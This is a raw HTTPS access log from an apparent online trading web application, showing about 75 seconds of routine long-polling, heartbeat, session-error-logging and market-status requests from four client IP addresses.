[09/Jan/2026:13:54:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938345454 HTTP/1.1" -
[09/Jan/2026:13:54:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938337376 HTTP/1.1" -
[09/Jan/2026:13:54:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938332861 HTTP/1.1" -
[09/Jan/2026:13:54:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938331371 HTTP/1.1" -
[09/Jan/2026:13:54:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938350529 HTTP/1.1" -
[09/Jan/2026:13:54:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938342416 HTTP/1.1" -
[09/Jan/2026:13:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938338008 HTTP/1.1" -
[09/Jan/2026:13:54:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938336743 HTTP/1.1" -
[09/Jan/2026:13:54:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938355590 HTTP/1.1" -
[09/Jan/2026:13:54:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938347492 HTTP/1.1" -
[09/Jan/2026:13:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938343138 HTTP/1.1" -
[09/Jan/2026:13:54:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938341816 HTTP/1.1" -
[09/Jan/2026:13:54:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938360640 HTTP/1.1" -
[09/Jan/2026:13:54:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938352585 HTTP/1.1" -
[09/Jan/2026:13:54:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938346885 HTTP/1.1" -
[09/Jan/2026:13:54:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938348195 HTTP/1.1" -
[09/Jan/2026:13:54:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938365709 HTTP/1.1" -
[09/Jan/2026:13:54:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938357664 HTTP/1.1" -
[09/Jan/2026:13:54:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938353318 HTTP/1.1" -
[09/Jan/2026:13:54:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938351963 HTTP/1.1" -
[09/Jan/2026:13:54:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938362766 HTTP/1.1" -
[09/Jan/2026:13:54:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938358405 HTTP/1.1" -
[09/Jan/2026:13:54:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938357166 HTTP/1.1" -
[09/Jan/2026:13:54:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938367840 HTTP/1.1" -
[09/Jan/2026:13:54:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:54:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:54:53 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:54:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938362237 HTTP/1.1" -
[09/Jan/2026:13:54:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938363536 HTTP/1.1" -
[09/Jan/2026:13:54:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938372868 HTTP/1.1" -
[09/Jan/2026:13:54:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938367273 HTTP/1.1" -
[09/Jan/2026:13:54:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938368694 HTTP/1.1" -
[09/Jan/2026:13:55:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938377963 HTTP/1.1" -
[09/Jan/2026:13:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938372343 HTTP/1.1" -
[09/Jan/2026:13:55:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938373830 HTTP/1.1" -
[09/Jan/2026:13:55:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938370734 HTTP/1.1" -
[09/Jan/2026:13:55:07 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938383048 HTTP/1.1" -
[09/Jan/2026:13:55:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938377453 HTTP/1.1" -
[09/Jan/2026:13:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938378929 HTTP/1.1" -
[09/Jan/2026:13:55:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938394978 HTTP/1.1" -
[09/Jan/2026:13:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938388143 HTTP/1.1" -
[09/Jan/2026:13:55:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938382526 HTTP/1.1" -
[09/Jan/2026:13:55:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938400012 HTTP/1.1" -
[09/Jan/2026:13:55:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938384057 HTTP/1.1" -
[09/Jan/2026:13:55:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938393225 HTTP/1.1" -
[09/Jan/2026:13:55:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938387590 HTTP/1.1" -
[09/Jan/2026:13:55:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938405041 HTTP/1.1" -
[09/Jan/2026:13:55:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938389130 HTTP/1.1" -
[09/Jan/2026:13:55:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938398326 HTTP/1.1" -
[09/Jan/2026:13:55:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:23 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:55:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938392663 HTTP/1.1" -
[09/Jan/2026:13:55:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938410111 HTTP/1.1" -
[09/Jan/2026:13:55:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938394249 HTTP/1.1" -
[09/Jan/2026:13:55:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938403351 HTTP/1.1" -
[09/Jan/2026:13:55:30 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938397696 HTTP/1.1" -
[09/Jan/2026:13:55:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938415139 HTTP/1.1" -
[09/Jan/2026:13:55:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938399384 HTTP/1.1" -
[09/Jan/2026:13:55:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938408417 HTTP/1.1" -
[09/Jan/2026:13:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:55:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:55:35 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938402749 HTTP/1.1" -
[09/Jan/2026:13:55:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767938420200 HTTP/1.1" -
